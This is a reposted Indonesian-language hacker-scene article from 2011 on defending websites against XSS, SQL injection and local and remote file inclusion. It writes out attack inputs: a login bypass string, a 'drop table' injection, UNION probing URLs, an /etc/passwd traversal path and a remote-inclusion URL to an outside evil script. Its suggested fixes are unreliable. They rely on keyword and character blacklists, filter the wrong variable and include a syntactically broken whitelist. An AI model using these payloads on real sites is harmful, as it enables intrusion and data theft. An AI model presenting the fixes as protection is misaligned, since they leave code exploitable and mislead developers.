>Protecting Website from Common Attacks

February 12, 2011 at 2:41 am | Posted in Article, computer and high technology, Hacking | Leave a comment

>——————————————————/
[-] Title : Protecting website from common attacks
[-] Date : 08-08-2010
[-] Author : vYc0d
[-] Contact : vyc0d@hackermail.com
[-] Web : http://vyc0d.blogspot.com
[-] Language : Indonesian
——————————————————/

Konten :
[1] Pendahuluan
[2] Cross Site Scripting
[3] SQL Injection
\_ Login Form Bypassing
\_ UNION SQL Injection
[4] File Inclusion
[5] Special Thanks

[1] Pendahuluan

Artikel ini akan berisi tentang empat jenis serangan web umum dan pencegahannya, yang digunakan
di sebagian besar jenis defacement. Lima eksploitasi umum yang saya cantumkan di bawah ini
adalah XSS, SQL injection, RFI dan LFI. Sebagian besar kesalahan terjadi pada pemrograman
yang memungkinkan attacker untuk dapat menyusup ke dalam website.

[2] Cross Site Scripting

Cross Site Scripting adalah jenis celah yang digunakan oleh attacker untuk menyuntikkan kode ke halaman
web yang rentan terhadap serangan ini. Jika sebuah situs rentan terhadap cross site scripting, attacker
kemungkinan besar akan mencoba untuk menyuntikkan situs dengan javascript berbahaya atau mencoba scam pengguna
dengan menciptakan bentuk halaman web yang hampir sama untuk mendapatkan informasi.

Example:

http://www.situs.net/find.php?all=”>

*Solusi (javascript) :

function RemoveBad(strTemp) {
strTemp = strTemp.replace(/\|\”|\’|\%|\;|\(|\)|\&|\+|\-/g,””);
return strTemp;
}

[3] SQL Injection

*\_ Login Form Bypassing

Berikut adalah contoh kode yang dapat kita bisa bypass:

index.html file:

Password:

login.php file:
// Contoh Kode
$execute = “SELECT * from database WHERE password = ‘{$_POST[‘pass’])”;
$result = mysql_query($execute);
?>

Kita dapat bypass dengan menggunakan ‘ or ‘1=1’, dan menjalankan “password = ”or ‘1=1”;”.
Atau attacker dapat juga dapat menghapus database dengan menjalankan “‘ drop table database; –“.

*Solusi :

Menggunakan mysql_real_escape_string

Contoh:
$badcode = “‘ OR 1 ‘”;
$badcode = mysql_real_escape_string($badcode);
$message = “SELECT * from database WHERE password = “‘$badcode'”;
echo “what are doing nobs” . $message . “;
?>

*\_ Union SQL Injection

Union SQL injection adalah ketika pengguna menggunakan perintah UNION. Memeriksa celah dengan menambahkannya
di akhir url “sebuah php?.id=”. Jika terdapat error MySQL, situs tersebut kemungkinan besar
besar rentan terhadap UNION SQL Injection. Attacker melanjutkan menggunakan ORDER BY untuk menemukan kolom,
dan pada akhirnya, mereka menggunakan perintah UNION ALL SELECT.

Contoh :
http://www.situs.net/index.php?id=1′
salah satu contoh pesan error:
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in…..

Setelah muncul pesan error,maka attacker melanjutkan aksinya ;))
http://www.situs.net/index.php?id=1 ORDER BY 1– <– No error.
http://www.situs.net/index.php?id=1 ORDER BY 2– <– Muncul pesan error. Ini berarti hanya ada satu kolom
http://www.situs.net/index.php?id=-1 UNION SELECT ALL version()– <– Memilih semua kolom dan menjalankan
perintah version().

*Solusi :

Tambahkan sesuatu seperti di bawah ini untuk mencegah SQL injection Union:

$bug = “(delete)|(update)|(union)|(insert)|(drop)|(http)|(–)|(/*)|(select)”;
$patch = eregi_replace($bug, “”, $patch);

[4] File Inclusion

\_ Remote File Inclusion dan Local File Inclusion

Remote File Inclusion adalah sebuah celah dimana situs mengizinkan attacker meng-includ file dari luar server.
Local File Inclusion adalah sebuah celah dalam situs dimana attacker dapat mengakses semua file di dalam server
dengan hanya melalui URL.

Contoh kode yang vulnerable :
include($_GET[‘page’]);
?>

Beberapa contoh serangan :
http://www.situs.net/page.php?page=../../../../../etc/passwd < contoh LFI
http://www.situs.net/page.php?page=http://www.site.com/evilscript.txt? < contoh RFI

*Solusi :

Validate the input.
$page = $_GET[‘page’];
$allowed = array(‘index.php’, ‘games.php’ ‘ip.php’);
$iplogger = (‘ip.php’);
if (in_array $page, $pages)) {
include $page {
else
{
include $iplogger
die(“IP logged.”);
}

[5] Special Thanks

[-] Allah SWT, Muhammad SAW
[-] The big Family of :
[-] M0slem Hax0r – Echo – Indonesian Coder – Jasakom – Indonesian Hackers – Malang Cyber Crew
[-] ManadoCoding – Devilzc0de – Yogyacarderlink – Xcode – Hacker Newbie
[-] Klix ITN Malang – Kolam (Komunitas Linux Arek Malang)

Mirror : http://www.exploit-db.com/papers/14577/

Sumber : http://vyc0d.blogspot.com

Leave a Comment »

RSS feed for comments on this post. TrackBack URI

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Blog at WordPress.com.
Entries and comments feeds.

%d bloggers like this: